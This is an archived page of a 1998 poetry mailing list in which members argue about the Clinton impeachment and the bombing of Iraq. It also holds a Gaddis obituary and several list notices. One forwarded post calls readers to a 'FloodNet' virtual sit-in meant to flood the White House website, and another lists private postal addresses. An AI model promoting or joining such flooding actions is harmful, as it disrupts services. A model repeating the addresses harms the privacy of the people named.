>Inauguration Day 1992. Well, at least nobody's been shot yet."
>
>Dan,
>
>You were about 4 hours early on that judgment. Or does bombing not
>count?
>
>Ron
>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com
>
<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals

Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

↑ Index

616. **Mark Prejsnar**
general clinton is not a language poet
Thu 17 Dec 1998

The main point--ignore 'em all and tear down the capitalist system. (Yes: i know it takes a while; i'm working on it!!) A coup within the republicrat machine, one right-wing against the other right-wing, gets my blood up even less than it does Daniel's.

This approach has the lovely side benefit that you don't have to pay attention (with any degree of personal investment) to Starr, clinton, the much missed Newt etcccc.

Of course when someone launches a war to get around impeachment, all bets are off....

But it does illustrate that the existing system is among the most barbaric and irrational of all options...

vladimir illyich prejsnar

On Wed, 16 Dec 1998, daniel bouchard wrote:

> *At 01:15 PM 12/11/98 PST, Ron Silliman wrote:*
> *Has anyone noticed that what's happening in Congress right now isn't an impeachment but a coup?*
>
> *I noticed. I think. I've got to write this note quickly though and beat out the lunchtime crowds at Filene's Basement.*
>
> *In new england there is a mechanism in people that aims for the worst in particular situations. For example, if it is cold and raw and ugly outside, one would say to one's fellow, "well, at least it ain't snowing." Or, if there is heavy snow and a tree falls on your house, one would say "well, at least it didn't hit the truck." And so on.*
>
> *So there is a coup in Congress--the sick fruition of an effort begun on Inauguration Day 1992. Well, at least nobody's been shot yet.*

Ken Starr, he "investigated" a Clinton real estate investement, and no one particularly cared.
So "travelgate" came to pass, and no one was impressed.
Contributions to the Clinton campaign were scrutinzed but the public lacked enthusiasm.
Legions of felt-up associates came forward but no one in power was so shameless as to pretend they were interested in "protecting" women from sexual harassment.
Now the leader of the free world, in covering his ass for screwing around, is accused of perjury and will be tried for high crimes and treason.

This is all still pretty tame by Roman standards.

All public officials know well enough from this day forward not ever to fuck with health care again; no socialization of any industry whatsoever.

The trouble is I have no compulsion to defend the guy.
The problem is I hate his enemies more than I hate him,
and I hate him a lot.
The gist of it is there is nothing one can do about it anyway.
I guess we'll get what we deserve by christmas anyway.
The interesting part is borne out of mandatory passivity.
The interesting part is free lessons in double-plus bad speak.
Tiberius was a sexual predator too.
Clinton is not fit to lace his sneakers.
The interesting part will begin once he's gone.

Thankfully I am a provincial and have few international associates to be embarrassed before.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
<<<<<<<<<<<<<<<<

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617. **jarnot**
address query
Thu 17 Dec 1998

I need to get in touch with Daphne Marlatt and Gerrit Lansing. (need phone numbers and/or email addresses). If anyone has info could you please backchannel me?

Thanks,
Lisa Jarnot

↑ Index

618. **Rachel Levitsky**
Re: Demos today SF & NYC
Thu 17 Dec 1998

Last Update: 12/17/98

> WAR ALERT!
> EMERGENCY
> DEMONSTRATION IN NYC
> AND SAN FRANCISCO BAY
> AREA, 5 pm, THURSDAY,
> DEC. 17: DON'T BOMB
> IRAQ! END THE
> SANCTIONS NOW!
>
> SATURDAY NOON
> DEMONSTRATIONS: NYC:
> SW corner 34th & 7th; SAN
> FRANCISCO: 24th & Mission;
> and Wash. DC (info to be
> announced)

There will be a demonstration in New York City at 5:00 p.m., Thursday, December 17, in Times Square at 43rd Street and Broadway. The demonstration is sponsored by the International Action Center, Fellowship of Reconciliation, War Resisters League and others.

The demonstration in San Francisco Bay Area will be at 5:00 p.m. at the Berkeley BART
Station. Call [redacted].

Ramsey Clark, of the International Action Center stated, "A new bombing of Iraq will certainly kill
hundreds and perhaps thousands of civilians. Just because Richard

Butler, the chairperson of
UNSCOM, contends that he is displeased with Iraq's compliance with UN inspectors, does not give
the Clinton administration the rights to carry out a wanton act of mass murder ."

For press interviews, information and analysis contact the International Action Center at [redacted]. Contact: Deirdre Sinnott, Brian Becker, Sarah Sloan, or Sara Flounders.

http://www.iacenter.org/demo1216.htm

↑ Index

619. Hilton Manfred Obenzinger
Re: Iraq
Thu 17 Dec 1998

At least a month ago I was only half joking that Clinton would bomb Iraq in time for the impeachment vote, and people who follow Middle East events were quite prepared for the eventuality. The fact that he returned from Israel/Palestine with the Palestinians once again making concessions and Netanyahu once again raising new demands to stall the "peace process" and then goes on to launch war against Iraq -- it's all too stupendous to grasp. Stop the war/stop the impeachment: the coup is getting more and more complex. Have you ever seen so many Republicans object to bombing anyone, much less Iraq? All of this connects to issues of poetics: people were discussing referentiality and nonsense before, and I would suggest that recent political discourse has gone way beyond Jabberwocky.

Hilton Obenzinger

↑ Index

620. david bromige
Why Impeach Clinton?
Thu 17 Dec 1998

Tosh's question, which hardly seems worth answering, if he has to ask: for waging an illegal war. Congress has to declare war. True, they never declared war on Vietnam, and it's okay with me if retroactively JFK, LBJ and Nixon are impeached for the same crime.(The Gulf of Tonkin Resolution was a means to sneak around the constitutional requirement). And since Congress appears to support this illegal war, impeach them, too.

Americans make so much of the Constitution--yet Representatives flout it at will.

Even the to-me dubious authority to wage war of the United Nations has been flouted this time. And I am ashamed of Britain that they permit their government and armed forces to murder Iraqis to save Bill Clinton's skin. If you know any history, here's another poem:

THE WAR OF JENKIN'S EAR
THE WAR OF CLINTON'S ASS

Kudos to Rachel Levitsky, for being the Conscience of this List, and for keeping Poetic Justice alive. David

↑ Index

621. A. Jenn Sondheim

Re: CALL FOR FLOODNET ACTION FOR PEACE IN THE MIDDLE EAST (fwd)

Thu 17 Dec 1998

> *From the Electronic Disturbance Theater*

CALL FOR FLOODNET ACTION
FOR PEACE IN THE MIDDLE EAST
VITRUAL SIT-IN ON
THE WHITE HOUSE WEB SITE

Friday, December 18, 1998

FROM 10:00 AM TO 4:00 PM
(Washington D.C. TIME)

FROM 4:00 PM TO 10:00 PM
(GMT- GREENWICH MEAN TIME)

http://www.aurorablue.org/projects/rdom/zapsPublic/ddkfoyer.htm

****

We oppose the U.S. military attack on Iraq and believe that
the timing of this assault is designed to detract attention
from President Clinton's impending impeachment hearing
in Congress.

We do not accept the logic of the White House and the Pentagon that Iraq poses a national security threat. If any country is guilty of harboring weapons of mass destruction it is the United States.

We know that the U.S. government views the Middle East as a strategic area because, in part, it is an oil rich region. And we know the United States consistently uses the veil of "national security" as a means to pursue and justify its agenda of global economic domination.

We support the skeptical and angry views of the Russian, Chinese, and Iraqi ambassadors to the United Nations Security Council who strongly voiced their opposition to U.S. and U.K. aggression against Iraq.

We are saddened by the images on CNN of the innocent people who were injured in the first hours of the aerial bombardment. Moreover, we are aware that these victims are just a few of the hundreds of thousands of Iraqis who have either died or suffered greatly since the first Gulf War in 1991 and under U.S. backed sanctions that have existed since then.

We support the lifting of sanctions against Iraq. We support the efforts of international human rights organizations, groups like Friendship Across Frontiers, and other sectors of international civil society who have been working for years to help the Iraqi people.

We do not support Saddam Hussein but we believe it is not our right as Americans to go beyond merely having opinion. It is up to the Iraqi people, and others in the Arab world, to remove Saddam Hussein from office, if that is their desire and will.

We believe the age of imperialism should come to an end. It is quite telling that the imperial power of the 19th century, Great Britain, and the imperial power of the 20th century, the United States, have joined forces alone as we enter the 21st century.

In one instance, we agree with a characterization of the United States, made by Iraqi leaders. The history of U.S. military and intelligence intervention, both covert and overt, in Latin America, Asia, Africa, the Middle East, and domestically within sovereign Native American territory, is enough evidence to support the classification of this country as an Evil Empire.

We support all efforts to denounce, oppose, protest, and resist the joint U.S.-U.K assault on Iraq, both domestically within the United States and England, in other European countries, in Middle Eastern countries, and throughout the world.

We recognize that resistance to the current bombardment of Iraq, and resistance to all future war, will take place in two spheres. One is on the ground, in the streets, in offices,

in universities, in factories - in real spaces. The other is on the Net, in what the Pentagon now calls "battlespace." And we support the development and practice of joint virtual-real actions of resistance.

We do not believe that only nation-states have the legitimate authority to engage in war and aggression. And we see cyberspace as a means for non-state political actors to enter present and future arenas of conflict, and to do so across international borders.

We do not know how long the current U.S.-U.K. aerial assault on Iraq will last. Indications are that it will be short-lived. It may therefore not be an appropriate or strategic moment to attempt to inspire, coordinate, and sustain a campaign of virtual-real actions of resistance.

We do feel, however, compelled to take some action. And therefore we will use FloodNet, the same tool we have been using against web sites of the Mexican government, to now make a symbolic gesture of our opposition to the current assault on Iraq.

We therefore urge all people of good conscience who have the clarity of mind to oppose these aerial assaults to join us in a ongoing, nonviolent, virtual sit-in on the White House web site. We urge you to join us in a FloodNet Action for Peace in the Middle East.
****

Friday, December 18, 1998

FROM 10:00 AM TO 4:00 PM
(Washington D.C. TIME)

FROM 4:00 PM TO 10:00 PM
(GMT- GREENWICH MEAN TIME)

http://www.aurorablue.org/projects/rdom/zapsPublic/ddkfoyer.htm

The Electronic Disturbance Theater

↑ Index

622. **Pritchett,Patrick**

Re: Exuent Gaddis

Thu 17 Dec 1998

> *December 17, 1998*
> *William Gaddis, 75, Innovative Author of Complex, Demanding Novels, Is Dead*
> *By MEL GUSSOW*
> *William Gaddis, author of "The Recognitions" and "JR," and a novelist of immense range, complexity and satiric humor, died Wednesday at his home in East Hampton, N.Y. He was 75.*
> *Gaddis was one of the most innovative and demanding of writers. His four published novels stand tall and totemic in the field of modernist literature. For "The Recognitions," his first novel, in 1955, he was compared to James Joyce. With other books, critics drew parallels with Malcolm Lowry and Herman Melville. Aspects of all three and others figured in his work, but most of all he was, in Cynthia Ozick's words, "an American original."*
> *Reviewing Gaddis's 1985 novel, "Carpenter's Gothic," in The New York Times Book Review, Ozick looked back on "The Recognitions" as "the most overlooked important work of the last several literary generations." It was, she said, "a vast fiction about fabrication and forgery, about the thousand faces of the counterfeit, and therefore, ineluctably, about art and religion."*
> *"Carpenter's Gothic," Ozick said, was an "unholy landscape of a novel -- an extra turret added on to the ample, ingenious, audacious Gothic mansion William Gaddis has slowly been building in American letters." In her judgment the book marked a turning point in his career; admirers hoped that it would bring him a wider audience.*
> *Despite rapturous reviews and a covey of awards (including two National Book Awards and a MacArthur "genius" grant), he was not destined to have a popular readership. He was often considered one of the least read of important American writers. But his books have become contemporary classics.*
> *As his reputation grew, he was surrounded by academics seeking symbols and offering deep analyses of his work. He maintained his equilibrium, saying, "What can I do if people insist I'm cleverer than I think I am?"*
> *Observing Gaddis at a writers conference in the Soviet Union in 1985, Louis Auchincloss said that he was "reserved and quiet, impeccably clad, with the patient composure of a man of the world and the piercing eye of a wit," and that he spoke "in measured tones of the small sales that the serious novelist might expect."*
> *Gaddis was born in Manhattan on Dec. 29, 1922, grew up in Massapequa, N.Y., and went to boarding school in Connecticut and Farmingdale High School on Long Island. He studied English literature at Harvard University, and wrote stories, poems, essays and reviews for the Harvard Lampoon. In his senior year, he was asked to resign from the college after he and a friend were involved in an altercation with the police.*

In New York, he worked as a fact checker at The New Yorker, and spent his free time in Greenwich Village with Allen Ginsberg, Jack Kerouac and other writers of the Beat Generation. Leaving New York, he traveled through Mexico and Central America, joining insurgents in Costa Rica during a brief civil war. Subsequently he went to Spain and Africa, gathering experience and material while working on "The Recognitions."

He continued work on the novel through the early 1950's. Published in 1955, it weighed in at a hefty 956 pages. It received generally unappreciative reviews. In a brief one in The New York Times Book Review, Granville Hicks said that the author had "ostentatiously aimed at writing a masterpiece," but had written a book that was "no more than very talented or highly ingenious or, on another level, rather amusing." Gaddis said the book's reception was "a sobering experience."

It was 20 years before he published another novel, but during the interval, "The Recognitions" was reprinted in a paperback edition and was published abroad, and it began building an underground reputation for the author. To continue his fiction, Gaddis supported himself by teaching and writing nonfiction on assignment. For four years, he worked in public relations for the Pfizer pharmaceutical company. In 1963 he won a National Arts and Letters grant and, four years later, another from the National Endowment for the Arts.

In 1974, "The Recognitions" was reissued in a mass market paperback. Tony Tanner took that occasion, in a review in The New York Times Book Review, to extol Gaddis, ranking him alongside Thomas Pynchon as an experimentalist: "In its scope, its witty-serious use of erudition, its endless exploitation of the resources available to a modern text, its brilliant use of language, and, not least, its marvelous humor and range of tone," the book seemed to him "one of most important American novels written since the last war."

By the time "JR" was published the following year, Gaddis had achieved the recognition that had been denied him upon publication of his first novel.

In The New York Times Book Review, George Stade characterized the theme of "The Recognitions" as "the multiple and paradoxical relations between recognition and forgery," and said the book had raised the question whether "all human products and activities are each no more than items in a series of copies for which there is no original."

The reviewer continued that "as much, and more" could be said about "JR," and concluded that "no recent novel I know of with anything like the fullness or accuracy of 'Jr' is at once so inventive and subtle in the structure of relations among its parts."

The title character of "JR" is an 11-year-old who becomes a wizard of Wall Street. In a Paris Review interview, Gaddis explained why the character was so young. "He is in this prepubescent age where he is amoral" and "dealing with people who are immoral, unscrupulous," he said, "whereas his good cheer and greed he considers perfectly normal."

Praised by William H. Gass and other writers, "JR" won the National Book Award. "Carpenter's Gothic" followed in 1985. At 262 pages, it was Gaddis's shortest work. At the time of the book's publication, the author

> *said in an interview that there was no underlying scheme to his novels. "There is an obligation not to bore or be bored yourself in doing your work," Gaddis said. "If a writer is bored, the reader will be too." For "A Frolic of His Own" in 1994, a book about plagiarism and intellectual property, he won his second National Book Award.*
> *In addition to his daughter, a novelist who lives in Asheville, N.C., and Sag Harbor, N.Y., he is survived by a son, Matthew Hough Gaddis, a filmmaker in Manhattan.*
> *In "JR," the writer Jack Gibbs is trying to finish a book titled "Agape Agape." Before his death, Gaddis finished his fifth novel, also titled "Agape Agape." It is, said his son, an extension of that original idea in "JR," a novel about "the secret history of the player piano." The player piano was an early obsession of the author, who considered it to be an example of a "a nonparticipatory art form." In other words, the new Gaddis will be about the destructive elements of mechanization and the arts*

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623. **Tom Orange**
theory and poetics
Thu 17 Dec 1998

---

joe,

is the argument, then, that theorizing one's poetics has now become so de rigeur that many such theorizations are not urgent, not compelling, and that the essay that collapses theory-poetry distinctions offers (or at least can offer, as in bromige's case) a more urgent and compelling statement of poetics? (bear with me as i conflate bernstein, perloff, and amato, and please draw distinctions where you see fit...)

thanks,
t.

↑ Index

624. **Poetry Project**
Re: what we deserve
Thu 17 Dec 1998

Dan -- do you think what we deserve is a govt. where the strongest branch by far is congress, which seems likely if impeachment passes in the house, irre-gardless of what happens in the Senate. The ramifications of impeachment seem densely layered & scary, despite Clinton's lunacy.

At 01:15 PM 12/11/98 PST, Ron Silliman wrote:
>Has anyone noticed that what's happening in Congress right now isn't an

>impeachment but a coup?
>

I noticed. I think. I've got to write this note quickly though and beat out
the lunchtime crowds at Filene's Basement.

In new england there is a mechanism in people that aims for the worst in particular situations. For example, if it is cold and raw and ugly outside, one would say to one's fellow, "well, at least it ain't snowing." Or, if there is heavy snow and a tree falls on your house, one would say "well, at least it didn't hit the truck." And so on.

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Legions of felt-up associates came forward but no one in power was so shameless as to pretend they were interested in "protecting" women from sexual harassment.
Now the leader of the free world, in covering his ass for screwing around,
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The trouble is I have no compulsion to defend the guy.
The problem is I hate his enemies more than I hate him,
and I hate him a lot.
The gist of it is there is nothing one can do about it anyway.
I guess we'll get what we deserve by christmas anyway.
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The interesting part is free lessons in double-plus bad speak.
Tiberius was a sexual predator too.
Clinton is not fit to lace his sneakers.
The interesting part will begin once he's gone.

Thankfully I am a provincial and have few international associates to be embarrassed before.

↑ Index

625. **daniel bouchard**
Re: what we deserve
Thu 17 Dec 1998

Anselm,
(is this Anselm's note?)

Impeachment in the House won't necessarily make the House the strongest branch. The strongest branch of government over the past couple of years has been the Office of Independent Counsel, a new branch Grafted by the House to Propagate the demise of the Executive branch.

And that House branch will likely experience a mighty Shaking when the next election rolls around.

By "deserve" I don't necessarily mean the result Stemming from the last few weeks of impeachment proceedings. I mean it will be laid out for us, like an Xmas present under the Tree (and timely too), given by people who make decisions.

Even so-called conservatives have conceded that polls exist which show 2/3 of the citizenry do not want the President impeached. But what people want is not at issue. I wonder if the division of votes will be downplayed or spotlighted in the press (i.e., ALL republicans FOR impeachment, ALL democrats and the single rep. who is neither D or R AGAINST). My bet is it will be highlighted, and if nothing happens (i.e., a riot) it will be drawn out.

The last time this country had a bona fide impeachment, everyone was living in log cabins. (So the history books tell us.) I hope Clinton sticks it out. I hope he sits thru trial in the Senate and spills his entire bowl of beans.

By "deserve" I mean a disavowal of faith in the system, a repugnance for the scope of political discourse in the country (comprising 10 degrees of a circle, if that), an impatience that less than half those eligible bother to vote, etc etc etc

Would there be such a clamor today over the bombing of Baghdad if there were not impeachment proceedings going on? I think not.

- db

At 01:34 PM 12/17/98 -0500, you wrote:
>Dan -- do you think what we deserve is a govt. where the strongest branch
>by far is congress, which seems likely if impeachment passes in the
>house, irregardless of what happens in the Senate. The ramifications of
>impeachment seem densely layered & scary, despite Clinton's lunacy.
>

>
>
<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<<

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626. **Gwyn McVay**
Re: Exuent Gaddis
Thu 17 Dec 1998

Okay, I know I often stick my steel-toed Doc Marten boot in my mouth when I try to fix Latin, but I'm pretty confident about this one. The above subject line should just be "Exit Gaddis," as only one of him, the one and only, passed on to glory. If more than one person leaves the stage at the same time, it's "exeunt," plural, and if everybody splits, "exeunt omnes," everyone's leaving.

Goddang, ovary cysts make a gal cranky.

Gwyn

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627. **joel lewis**
f.y.i. (x3)
Thu 17 Dec 1998

*** Russia may ask Lewinsky for help

MOSCOW (AP) - Russian legislators considered a motion Thursday appealing to Monica Lewinsky to help halt the American attack on Iraq. "The State Duma appeals to Ms. Lewinsky to undertake corresponding measures to restrain the emotions of Bill Clinton," said the motion by nationalist lawmaker Alexander Filatov. Lawmakers in the Duma, the lower chamber of parliament, considered including the motion in a broader resolution denouncing the attack on Iraq. But seeking to speed up passage of the resolution, they approved it later Thursday without any additions. There was no separate vote on the Lewinsky amendment. See http://www.infobeat.com/stories/cgi/story.cgi?id=2557652490-468

*** Heinz touts benefits of ketchup

NEW YORK (AP) - Here's a new reason to pour ketchup on your next burger: It may help reduce your risk of cancer. With anemic growth in ketchup sales, the king of ketchup - Pittsburgh, Pa.-based HJ Heinz Co. - is unfurling a marketing campaign to tout the health benefits of the processed tomato concoction. Next month Heinz will join the growing number of food companies touting the health benefits of their products when it launches an ad campaign to show that its ketchup contains lycopene, an antioxidant which has been linked to reducing certain cancers. The print ads are scheduled for runs in The New York Times Sunday Magazine, USA Today, Health magazine and Prevention. See http://www.infobeat.com/stories/cgi/story.cgi?id=2557646311-63b

*** Man held in piranha food choking

GLENDORA, Calif. (AP) - A 26-year-old man was arrested after allegedly choking his mother because she didn't buy food for his two pet piranhas. Nathan Ricketts was being held Wednesday on suspicion of battery and possession of drug paraphernalia, Officer John Bur said. Bail was set at $100,000. "He choked her almost into unconsciousness," Bur said. Officers also confiscated two 7-inch-long piranhas that Ricketts had brought into the house earlier this week and placed in a 30-gallon aquarium. He refused to tell officers where he got the bloodthirsty South American fish, which are illegal to own. Wildlife officials ordered the fish destroyed, Bur said. ###

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628. **J Kuszai**
Re: what we deserve
Thu 17 Dec 1998

I realize that this is a topic that everyond is talking about. This is not a water cooler. While I appreciate creative and/or critical responses to world politics, the possibilities of using this list for social and political organizing, this here is the kind of use of this list that I personally find to be inappropriate. The bombing of Iraq and the surreal political landscape surrounding it requires more than mindless chitchat.

Divizio wrote:
>
> >The trouble is I have no compulsion to defend the guy.
> >The problem is I hate his enemies more than I hate him,
> >and I hate him a lot.
>
> MAN.....don't you see that THIS IS THE FUCKING PROBLEM?

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629. daniel bouchard
Aarrgh// infinity
Thu 17 Dec 1998

... so you see, the question/dilemma is only whether the Chief Executive Weasel craftily staged an attack to divert attention from proceedings on Capitol Hill. It's the timing, the timing.

... the question must never be framed around whether U.S. has the right to bomb a city we've been starving for 7 years. That we may attack anyone (provided they are not strong enough to put up a fight) at any time is unquestionable.

Poll: Americans support bombing of Iraq

WASHINGTON (AP) - Americans overwhelmingly support President Clinton's
decision to order air strikes against Iraq, according to three polls released today.

About three-quarters of adults said they backed the action, polls taken by CBS,
ABC and NBC showed.

About 60 percent in the NBC poll said Clinton's action was warranted, while just
over one in four Americans said they thought the military action was timed to
delay impeachment proceedings that had been scheduled to begin today. House
action on that front has been postponed indefinitely.

So far, the decision to take action against Iraq has not changed public opinion
about impeachment. In the ABC poll, 40 percent said the House should impeach
the president, while 58 percent said he should not be impeached. Those numbers
are essentially unchanged from last week.

All three polls were conducted Wednesday night. ABC interviewed 510 people and
NBC polled 503. Both polls error margins plus or minus 4.5 percentage points.

The CBS poll was based on 413 people and had a margin of error of plus or minus
5 percentage points.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<<

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630. David Kellogg
need emailaddress for Rachel M. Daley
Thu 17 Dec 1998

Thanks.
~~~
~~~

Voice : [redacted]
Fax: [redacted]

+ + + +

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634. **Divizio**
Re: what we deserve
Thu 17 Dec 1998

> *The trouble is I have no compulsion to defend the guy.*
> *The problem is I hate his enemies more than I hate him,*
> *and I hate him a lot.*

MAN.....don't you see that THIS IS THE FUCKING PROBLEM?

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635. **Jim Bennett**
Notice
Thu 17 Dec 1998

Published January 1999

Drums At New Brighton

A new collection of poetry by
Jim Bennett

Published in the U.K. by Starwood Publishing
under the sponsorship of
The Seaside Heritage Trust

In this new collection of poetry, jim Bennett explores the relationship between people and the places they inhabit, and the effects of modern life in distancing them from the natural world.

Drums At New Brighton is an abstract from Painting On Sand, a full collection of poetry due in September 1999

What the critics said about "Lessons and Love", Jim Bennett's 1996-7
Poetry Tour
"Amazing images, a real mix of the traditional and the modern." Signpost
Christian
Festival Magazine
"Great stuff... Jim Bennett is an original." Poetry House Mag
"A new name a new style... it is "New Metaphysical"... it is a style that
deserves to be
read widely." John Leyard

Advance copies of Drums At New Brighton can be ordered from;
GFK Enterprises,

39 Oransay Close, Sycamore Grove, Gt Billing,
Northampton, NN3 9HF

£3.50 includes the cost of p&p (Overseas £4.75)

Past Time - from _ Drums at New Brighton

We drove along the lanes that Wordsworth walked
Past lakes whipped into white tipped waves,
Past fields over which he strode for love,
Past gift shops, flower shops, tea shops.
Past bookshops selling the collected works.
Past his home, his other home and hers.

Then to Dove Cottage and the obligatory tour,
To see the things he lived with,
To hear the sound of creaking beams he heard.
To smell the plaster, feel the wooden floor.
To see a pen he wrote with
And a letter written at this desk.

But in it all no sign of him
Just spores left in his wake
He has gone, heaved anchor sailed off
To find Arcadia.

Arrived home past nine,
Past time collating memories.
Then found him lurking in a poem.

Leasow Beach - From _Drums At New Brighton_

Wings frozen in rigor flight
Soaring into death
Elegance hidden by black tar
The silent gull lies on the sand

Once it lay on the thermals of the world
Uplifted by invisible hands
Shaping the air with each wing sweep
As it sculled across the sky

But now encased in death
Its sightless eyes, and beak, wide
Its final shriek locked in a swollen throat
It lies stiff and cold on Leasow Beach

We came, as we often do, to find shells,
See the pool life, rest our feet on drying sand

Instead, we found the gull,
A metaphor mummified by waist.

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636. **Divizio**
Re: what we deserve
Thu 17 Dec 1998

> *I realize that this is a topic that everyond is talking about.*
> *This is not a water cooler. While I appreciate creative and/or critical responses to world politics, the possibilities of using this list for social and political organizing, this here is the kind of use of this list that I personally find to be inappropriate. The bombing of Iraq and the surreal political landscape surrounding it requires more than mindless chitchat.*

"Wag the Dog" was kind of like wasting time.

The gentleman's comment in question "The problem is I hate the...alot.....hate the.....hate hate hate....

Yes that's the problem.

So OK.....as I get my feet wet here on this list perhaps I'll write something better than watercooler Chit chat.

Sorry I'm very busy and too emotive.
Humbly,
David 2 Divizio

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637. **michael corbin**
(no subject)
Thu 17 Dec 1998

A. Jenn Sondheim wrote:

> =
> *The whole pretty world is*
> *so safe for me, I can go out on the street and eat and walk.*

david bromige wrote:

> *I could not have written this poem yesterday*

When the car caught on fire at the Blair House: The Park Police rode-up en masse, thinking there was TERRRORRRISM afoot. And the horses were much

bigger than the placards with magic-markers. So we fell into retreat. Obtaining the right vector analysis for piss in the wind and cruise mistle-toe.

I don't live here anymore.

How is it possible?

Not to Explode.

I don't live here anymore.

mc

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638. **Tosh**
Re: Why Impeach Clinton?
Thu 17 Dec 1998

> *Tosh's question, which hardly seems worth answering, if he has to ask:*

What's wrong with answering a simple question?

> *Even the to-me dubious authority to wage war of the United Nations has been flouted this time. And I am ashamed of Britain that they permit their government and armed forces to murder Iraqis to save Bill Clinton's skin.*

It didn't save Bush's ass when he bombed Iraq. Do you really think it will stop Clinton from being impeached by him (US) r bombing Iraq. I am sorry, but I feel you are wrong on these two points above. The Iraq issue is different from the current Impeachment issue.

Tosh Berman
TamTam Books

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639. **Mairead Byrne**
Re: what we deserve
Thu 17 Dec 1998

Joel, I couldn't disagree with you more. I was mighty relieved when I found people trying to squeeze out a somewhat coherent response to U.S./U.K. bombing of Iraq. I also have a lot of respect for the people who posted poems to the list today. You know, I have only ever seen the water cooler situation you disparage in movies. Mindless chitchat? How weird it would have been today if no-one attempted to lurch round their great awkward and inadequate craft to at

least get in their sights the news of today. Expletives come easy to me when I think of your post. I will desist. Mairead

On Thu, 17 Dec 1998, J Kuszai wrote:

> *I realize that this is a topic that everyond is talking about.*
> *This is not a water cooler. While I appreciate creative and/or critical responses to world politics, the possibilities of using this list for social and political organizing, this here is the kind of use of this list that I personally find to be inappropriate. The bombing of Iraq and the surreal political landscape surrounding it requires more than mindless chitchat.*
>
> *Divizio wrote:*
>
> *The trouble is I have no compulsion to defend the guy.*
> *The problem is I hate his enemies more than I hate him,*
> *and I hate him a lot.*
>
> *MAN.....don't you see that THIS IS THE FUCKING PROBLEM?*

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640. **Daniel Zimmerman**
Re: Why Impeach Clinton?
Fri 18 Dec 1998

David:

The same act of congress that established the CIA also empowered the President to issue National Security Decision Directives, basically granting dictatorial powers to the Presidentto initiate military actions without Congressional approval for, I think, 60 days. Clinton doesn't seem to have issued such a directive in this case, but he does have the authority to do so. To characterize his actions, however repellent, as "illegal" doesn't wash. Vietnam, however, clearly fell under the definition of "illegal."

I find more disturbing the eagerness to impute the motivation for the present carnage to a Clintonian oilspray-from-the-rear-bumper "Thunder Road" attempt to sabotage the impeachment process. Since when did cincidence translate automatically to cause? Didn't Hume [not to mdention Jung] disabuse us of this nonsense? _Something_ has to work for the guy: "Slick Wilie odomized by the Fortuitous"? Poetic Justice with a smile?

I'd rather think so than believe that Clinton -- more right on than any president in recent memory -- would act so heinously. He really seems to believe he didn't perjure himself ["what 'is' is," &c]; why not grant him the benefit of [the? his?] doubt? The law does...

The new Speaker's boffed a billion bimbos, evidently, BUT "uh, gee... no one ever asked me about it under oath" [see _asshole_ in the dictionary for his 8 x 10]. That turd wants to weasel on a technicality, but won't let Bill? "Gentlemen, start your engines."

AMERIKA {not Clinton -- whaddya think? one gut runs this juggernaut?] has discovered Victor Frankenstein's Social Security card in its wallet and -- after vain [and vainglorious] attempts to remonstrate [don'tcha love that word?] with The Creature -- finds itself a galley slave in a trireme [not kayaking solo] hoping to ram Saddam's Ghost Armada.

"Why Impeach Clinton?" Duh: so Gore can't get two terms!

;~(

Dan

david bromige wrote:
>
> Tosh's question, which hardly seems worth answering, if he has to
> ask: for waging an illegal war. Congress has to declare war. True, they
> never declared war on Vietnam, and it's okay with me if retroactively JFK,
> LBJ and Nixon are impeached for the same crime.(The Gulf of Tonkin
> Resolution was a means to sneak around the constitutional requirement).
> And since Congress appears to support this illegal war, impeach them, too.
>
> Americans make so much of the Constitution--yet Representatives flout it at
> will.
>
> Even the to-me dubious authority to wage war of the United Nations has been
> flouted this time. And I am ashamed of Britain that they permit their
> government and armed forces to murder Iraqis to save Bill Clinton's skin.
> If you know any history, here's another poem:
>
> THE WAR OF JENKIN'S EAR
> THE WAR OF CLINTON'S ASS
>
> Kudos to Rachel Levitsky, for being the Conscience of this List, and for
> keeping Poetic Justice alive. David

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641. **George Bowering**
Re: address query
Fri 18 Dec 1998

> *I need to get in touch with Daphne Marlatt*
> *Thanks,*
> *Lisa Jarnot*

Daphne is being writer in resident at U. Saskatchewan this semester. But maybe she'll be home for Xmas. As far as I know she has never done e-mail.

I just lookt, and dont have a Victoria phone number for her, but this last Victoria address:

1281 Denman St.,
Victoria, BC,
V8T 1L7

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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642. **david bromige**
The poetics of impeachment
Fri 18 Dec 1998

> *It didn't save Bush's ass when he bombed Iraq. Do you really think it will stop Clinton from being impeached by him (US) r bombing Iraq. I am sorry, but I feel you are wrong on these two points above. The Iraq issue is different from the current Impeachment issue.*

Tosh is in agreement with 3/4 of the U.S. population, to whom it is not at all obvious that Clinton ordered these attacks AT THIS TIME as a diversionary and complicating tactic to delay/avoid impeachment. I suppose I am one of those the media has already characterized as *cynical* on this score--although to me it seems more *cynical* of Clinton to kill Iraqis at this time. I'm with Trent Lott (the Trent of yesterday, before he'd read the latest polls).

I am reminded of the years in Berkeley in the late 60's, when Berkeley was so much in the news. It appeared to us-all that the war in Vietnam MUST come to a halt very soon--that our protests, which were getting so much ink and so

much tv exposure, must somehow spread thru the nation as a whole. How mistaken!

